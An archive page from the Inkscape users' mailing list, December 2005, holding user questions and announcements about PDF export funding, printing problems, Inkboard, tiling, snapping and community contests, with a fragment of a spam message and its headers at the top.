invoked from network); 12 Dec 2005 22:18:26 +0900 Received: from p3058-ipad211sapodori.hokkaido.ocn.ne.jp (HELO ns-st.jp) (60.38.116.58) by 10.0.0.21 with SMTP; 12 Dec 2005 22:18:26 +0900 From: inkscape-user(a)lists.sourceforge.net To: telkansai@...1382... Subject: Re: Hi Date: Mon, 12 Dec 2005 22:18:13 +0900 MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_0016----=_NextPart_000_0016" X-Priority: 3 X-MSMail-Priority: Normal Please confirm! ---------------- $B7HBS$G$b(BPC$B$G$b;H$($k(BN's STREET$B%a!<%k(B http://ns-st.jp/ad/Nm1257

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Community support for creating PDF Export/Import feature
by Bryce Harrington 11 Dec '05

11 Dec '05

A couple weeks ago, I had the opportunity to meet Brandon Sanders when he visited OSDL about a conference he's organizing. He's also a long time Inkscape user and fan. Brandon's also involved in IBESI, an org that helps ordinary people create and run R&D projects. He's been looking for good guinea pigs. It struck me that this could be one way to meet our PDF export/import needs. It seems to fit Brandon's model very well. The community needs this feature badly, and users may be willing to fund development if there's a solid plan and concensus. Anyway, to keep this email short, I'm going to gloss over a lot of details and just post the link: http://wiki.inkscape.org/cgi-bin/wiki.pl?PrintingConsensusPoll PLEASE, if you are interested in Inkscape PDF, do this: 1. Go to the above page 2. Vote "NO" (since there's no proposal yet) Once we get 20 people participating, we can move to the next step (see the page for details). Bryce

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Problem using Inkboard
by KRS 11 Dec '05

11 Dec '05

With a friend we try to use the Inkboard. We both have a laptop with Ubuntu 5.10 and Inkscap autopackage with Inkboard. We use the gristle.org jabber server, we see each other via gaim. But when I try to invite him with inkboard, there is no invitation dialog on the other side. I See him connect or deconnect on the bottom of the Inkscape windows but cant share anything. Have you some positive experience with inkboard? Thanks (and sorry for my bad english)

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Moving Objects and Gradient Anchors?
by unknown＠example.com 09 Dec '05

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Howto make 3D and transparency
by Louise Hoffman 08 Dec '05

08 Dec '05

Dear readers, I was wondering, is it possible to make bar charts like this one? http://www.heko.dk/~maj/bars.gif So far have I only tried to make simple 2D drawings in Inkscape. So does anyone know, if it at all is possible to make 3D stuff and transparency like this in Inkscape? Lots of love, Louise

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PDF Export/Import via Cairo
by Bryce Harrington 07 Dec '05

07 Dec '05

Hi all, I talked with Carl a bit more today about the PDF functionality with Cairo and what it'd take to use it with Inkscape. Here's some additional info. Carl, correct me if I've captured any of this wrong. Some clarification on libsvg, when Carl said he wasn't supporting it, I interpreted this to mean it needed another maintainer. He clarified this; the reasons he had forked libsvg from librsvg originally was to try out replacing its libart backend with a cairo backend. Now that librsvg uses cairo as it's back end, there's no reason for libsvg to be used, and in fact it lacks capabilities that are in librsvg. So... The plan going forward would be this. svg2pdf as it exists now is probably ok for a start; it's at least better than we got now, and fits within our existing system. I think it's mainly going to be a packaging issue to hook it into our extension framework. Beyond that, svg2png needs to be modified to use librsvg instead of libsvg. This is probably a fairly simple task, as svg2png is a really short bit of code. I told Carl about UberConverter. He wasn't sure if the design of Cairo's PDF functionality would match UberConverter's structure, so a crs2pdf via Cairo may not be the right approach. Carl also mentioned something called Poppler(?) which does PDF _import_, that works in conjunction with Cairo, and that would give us a good round-trip to and from PDF. This sounds worth checking out. Bryce

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Printing in Inkscape
by Brian Burger 07 Dec '05

07 Dec '05

Hi all, I'm running Inkscape 0.42 on Ubuntu 5.10, and I can't get Inkscape to talk to my printer... It's an HP Deskjet 5740, and Inkscape is pretty much the only app that won't work with it. I tried replacing "lp" in the printer dialogue command line with "lpr", but that didn't work either... is there some method of getting Inkscape to just talk to the Gnome Printer Manager for printing? I've tried exporting as EPS and PDF to print in other apps - Evince or Acroread - but exporting to those formats seems to mess up the SVG gradients, and exporting to another format just to print is a workaround, not a fix! Hopefully someone can help - I've had a look thru the documentation and some of the Inkscape websites with no luck so far... Brian

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Onion skin ?...
by Klerman 06 Dec '05

06 Dec '05

Hello, I just downloaded InkScape, and I'm in the middle of reading tutorials and playing with it. What I can't find anywhere is how to trace a drawing using this program. I used to place the bitmap in a second layer and then using a pen tool I was able to trace it in another layer. What is the technique to achieve the same with InkScape ?. TVMIA, Klerman

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Two new contests at deviantART!
by Joshua A. Andler 06 Dec '05

06 Dec '05

We have two new contests going over at deviantART! The first contest is for an Inkscape calendar (which has a deadline of next Monday, 12/12/05) and which we will be choosing 12 winning images. The second contest is for Inkscape T-shirt designs to help fund Inkscape development (which we have no arbitrary number of winners for, if it's good it'll probably be accepted as one of many designs). You can read more over at: http://inkscapers.deviantart.com/journal/7226595/ -Josh

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RE: [Inkscape-user] Icon modification
by Hibbs, Phil 06 Dec '05

06 Dec '05

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Icon modification
by Karol Krenski 05 Dec '05

05 Dec '05

Hi list, I added eyes to inkscape's logo so that it fits other icons on my desktop. People who are into cartoons (like me) may like it. The logo has white, 50% alpha border so that it looks nice on dark desktop: http://www.inf.sgsp.edu.pl/pub/MALUNKI/IKONY/ Karol

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some clever script for automation of plot annotation?
by David Soukal 05 Dec '05

05 Dec '05

Hello guys, I would like to ask for some insights and hints as to how to solve the following small problem. I am creating plots for my thesis. These plots are created in Matlab and I edit them later in Inkscape. What I mostly do is to change markers for points in the plots, annotate the plots, and the like. Now the problem. I have a plot with 5 lines, each line corresponding to an experiment. Each line has 180 points somewhere around it; these points are the actual data about the theoretical line. Now, I need to *replace* each of points by a beautiful marker of mine. The reason is that Matlab creates only a limited number of rather ugly markers. These markers are also converted (either by Matlab or epstool) into strokes each having 70 points :( :( So, Inkscape slows down and my file bloats. What I was doing so far and what I am tired of is that I manually select a point and its cloned marker and then using the alignment dialog align them over each other. Then I remove Matlab's markers for good. While this works OK, you can imagine how tired I am. I was playing with the idea of manually parsing the XML file in Perl but I rejected the idea as sure way to mess up the document. The Matlab's markers have custom color that I assigned to them so that I can easily find the points I need to replace... Does anybody have an insight into how to do this is more or less Inkscape fashion? I am not afraid of scripting in Inkscape, but I haven't gotten a chance to try it yet. Or am I missing some obvious "group and align the whole" idea? Thank you for tips! David

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Tiling
by Albert 03 Dec '05

03 Dec '05

I am playing with tiling as a possible solution to drawing mandalas. Using 'Symmetry: reflection+reflection' in TileClones, with a 2x2 array, comes close, but requires selecting Create in the TileClones everytime a new object is added to the group of the main tile. When an object in this main tile group is moved, resized, or deleted, then the clones immediately reflects the change, but not when a new object is added to the group. Apparently, when a new object is added, the id of the group is changed and it then is no longer linked to the clones. I am a total newbie with this program, so I was hoping for some advice on how to force the main tile to remain with it's old id, linked to the clones, when a new object is added to its group. Thanks ahead for any help.

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Thumbwheel widgets on tool bar too small
by Albert 03 Dec '05

03 Dec '05

The thumbwheel widgets on the second toolbar for X,Y,W and H are too small. For numbers greater than 99, e.g. 165.68, the second digit after the decimal point is clipped so as to be unreadable. I am running Ubuntu Breezy Linux at 1024x768 resolution. Can anything be done on my end to fix this?

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Effects menu dont showing
by Laszlo 03 Dec '05

03 Dec '05

Hi! I have upgraded to 0.43 in debian SID (couple of day ago). I dont have the Effects menu anymore (0.42+0.43pre2 had it) I have python-xml installed, and there are the effects in /usr/share/inkscape/extensions/ Does anybody know how can I figure out why the Effects menu does not exist? Best regards, Khiraly

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newbie trouble with grid snapping
by Albert 03 Dec '05

03 Dec '05

I have just installed and am learning inkscape 0.42. I can see a rectangle snapping to guide lines, however I cannot see it snapping to grid lines. I have set snap distance from the default 0.4 to several hundred with no noticible difference in snapping to grid lines. What am I missing?

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Quick Tips
by Laszlo 02 Dec '05

02 Dec '05

Hi! I would love to see some quick tips for inkscape. There is some exercice which is not obvious to done. So I have made 2 quick tips, hope somebody find it useful. I have linked the source (.png-s and svg) too, if somebody want to modify it, or correct grammatically (Im not a native speaker). How to modell in mirror mode: http://khiraly.4242.hu/tmp/mirrorModellingDone.png source: http://khiraly.4242.hu/tmp/mirrorModelling.tar.gz How to make an edge: http://khiraly.4242.hu/tmp/joinTwoNodes.png source: http://khiraly.4242.hu/tmp/joinTwoNodes.tar.gz Remarks? Khiraly

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PDF Support in Inkscape
by Bryce Harrington 02 Dec '05

02 Dec '05

Hi all, I've been noticing a LOT of requests for PDF/PS support in Inkscape. Either export or import or both. I'm fairly certain that this is the #1 top feature need for Inkscape right now. Over the past year or so, I've been fishing around for a volunteer to implement this. But unfortunately I'm coming up dry. Ain't no one I can find with an itch to implement this, not on a volunteer basis anyway. However, there are a TON of users with this need. Some of whom, I'm fairly certain, would be willing to pledge some money towards it. Maybe a little, maybe a lot, who knows. I think if enough people pitched in funds, we could actually make this happen. This is one feature I think we as a community could just force through, by hiring some mercenary to attack and kill it for us, hardcore style. Can you all tell me what you think? I really have no solid idea if enough people would be open to this plan. Are you a user that'd be willing to pledge $100 or more towards this? Are you a developer that'd be willing to commit to doing this work for some $k? Or do you have some ideas on how we could make this need get met? Please email me and let me know what you think. Bryce

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Re: [Inkscape-devel] Re: [Inkscape-user] PDF Support in Inkscape
by unknown＠example.com 02 Dec '05

02 Dec '05

Nicu Buculei wrote: > Bryce Harrington wrote: > >> >> Can you all tell me what you think? I really have no solid idea if >> enough people would be open to this plan. Are you a user that'd be >> willing to pledge $100 or more towards this? Are you a developer that'd >> be willing to commit to doing this work for some $k? Or do you have >> some ideas on how we could make this need get met? Please email me and >> let me know what you think. > > > How about this: we talked at OCAL recently about coloring books [1]. > Once Inkscape is able to create such a book, we put one on sale with an > addition of 1 or 2 USD to the price, all profits going to the person who > implemented PDF export. > I have no idea if this can generate a compelling sum of money (or if it > can generate money at all). > > If this works, i have other similar ideas, for example printing a calendar. > > [1] - http://openclipart.org/wiki/index.php/Coloring_Books > For making a coloring book, I would think our current PDF export via ps=>ps2pdfa would be good enough. Aaron Spike

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latex font
by roberto 02 Dec '05

02 Dec '05

Hello i was wondering if it is possible to insert some text, latex formatted, in a figure, like letters with super(sub)scripts or greek letters and so on... i tried to see the options 'text-font' in inkscape but the window options lets me only to change the text inserted in and not any other typesetting specials thank you very for any help -- roberto GNU/Linux, debian sarge 2.6.8-2-386

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help with printing in 0.43
by Michal Žeravík 02 Dec '05

02 Dec '05

Hi all, please help me diagnose my problem with printing in Inkscape. I've used "Print Direct" ( |lp ) and it's working before (<0.43). Never got "Print" function working. Printed graphics is about 30%. Please advice me how to diagnose/debug this problem. thx michal

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Forums
by Alberic Slegers 01 Dec '05

01 Dec '05

>Having to constantly check to see whether anyone's >posted anything new on the web forum means that most busy people >(particularly developers) won't read it. Most forum-systems have an email-notification function. >Maybe we could borrow the setup that ruby-forum has (RForum). It is >a web forum which transparently bridges with the ruby-talk mailing <list. Threads on the mailing list show up on the forum, threads on >the forum show up on the mailing list, and you can post from either >one. That sounds great. >One option would be for you to promote the existing forum to >drive usage of it higher. I have a better idea. You (or whoever is in charge of the website) put a link to this forum on the menu at the left. I doubt there is a better way of promoting it. >I'd strongly encourage you to get a real email client. Awww too bad, I only use Thunderbird. Which other one would you suggest?

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Forums
by Kodoichi 01 Dec '05

01 Dec '05

>Having to constantly check to see whether anyone's >posted anything new on the web forum means that most busy people >(particularly developers) won't read it. Most forum-systems have an email-notification function. >Maybe we could borrow the setup that ruby-forum has (RForum). It is >a web forum which transparently bridges with the ruby-talk mailing <list. Threads on the mailing list show up on the forum, threads on >the forum show up on the mailing list, and you can post from either >one. That sounds great. >One option would be for you to promote the existing forum to >drive usage of it higher. I have a better idea. You (or whoever is in charge of the website) put a link to this forum on the menu at the left. I doubt there is a better way of promoting it. >I'd strongly encourage you to get a real email client. Awww too bad, I only use Thunderbird. Which other one would you suggest?

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CRIME SCENE DRAWING
by Brian Cochran 01 Dec '05

01 Dec '05

I have complied an SVG library of crime scene symbols (all public domain). They are all in the margin around a canvas making it a single svg document. This makes crime scene drawing very quick and simple. Its sort of a computerized template that law enforcement can easily relate to. The drawback is that the file is large (approx. 4.5 mb). I would like to upload it and get some feedback. Any law enforcement feedback would be even better. If there are any suggestions on how to get this posted please let me know.

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bezir to yarn
by Martin Klaffenboeck 01 Dec '05

01 Dec '05

Hello! I'm new to incscape and vector graphics. I created a bezir curve for a Text (looks like hand written with some extras on the start and end, and should look like made of yarn. Now the curve looks fine to me (even if it is very thin at the moment). Now I would like to make it look like a real yarn, but with different colors. So I created a gradient for the colors I want to have. But when I use this, the text seems to be gradiented from left to right, but I would like to have it over my 'yarn'. So is it possible somehow to tell incscape to do Like my bezir curve is a yarn? Do you know what I mean? Thanks for your help. Martin

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Re: [Inkscape-user] Re: [Inkscape-devel] PDF Support in Inkscape
by Alexandre Prokoudine 01 Dec '05

01 Dec '05

On 12/1/05, John Taber <jtaber@...640...> wrote: > Will there be a WoC (winter of code)? This could be an ideal project for > master degree students and maybe make a great thesis - they could do: > 1) research and summarize all pdf <-> svg issues > 2) create a roadmap of priorities > 3) analyze approaches (cairo, converter, ....) > 4) implement 1 or more approaches > > Maybe OSDL members, others can help create/sponsor more student > internship projects ? http://dneary.free.fr/gimp_bounties.html Interesting reading on related issue Alexandre

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Windows hiding/Layer list
by Kodoichi 01 Dec '05

01 Dec '05

Hi 1. Wouldn't it be more comfortable for us user to set up a message board on inkscape.org instead of a nerdy mailing list that fills up mailboxes with unwanted discussions? 2. I have been playing around with the Windows version. It's nice, but I'd like to see some features and changes: - When I have the document window opened in fullscreen, then open a dialogue window or similar and work on the document again, the dialogue windows disappear behind it. I've seen this behaviour on The GIMP as well and it's damn annoying. Would it be difficult for a coder to change it so the dialogue boxes and menus stay on top? - I mainly use Expression 3 for vector and really like that there is a layer window, so the user can easily choose and rearrange the objects. I haven't found out if Inkscape has this function as well, I have only seen that drop down menu at the bottom which is quite poor compared to Expression/Illustrator and other programs... is there an option to activate a box listing all the layers or is it planned to code something like that?

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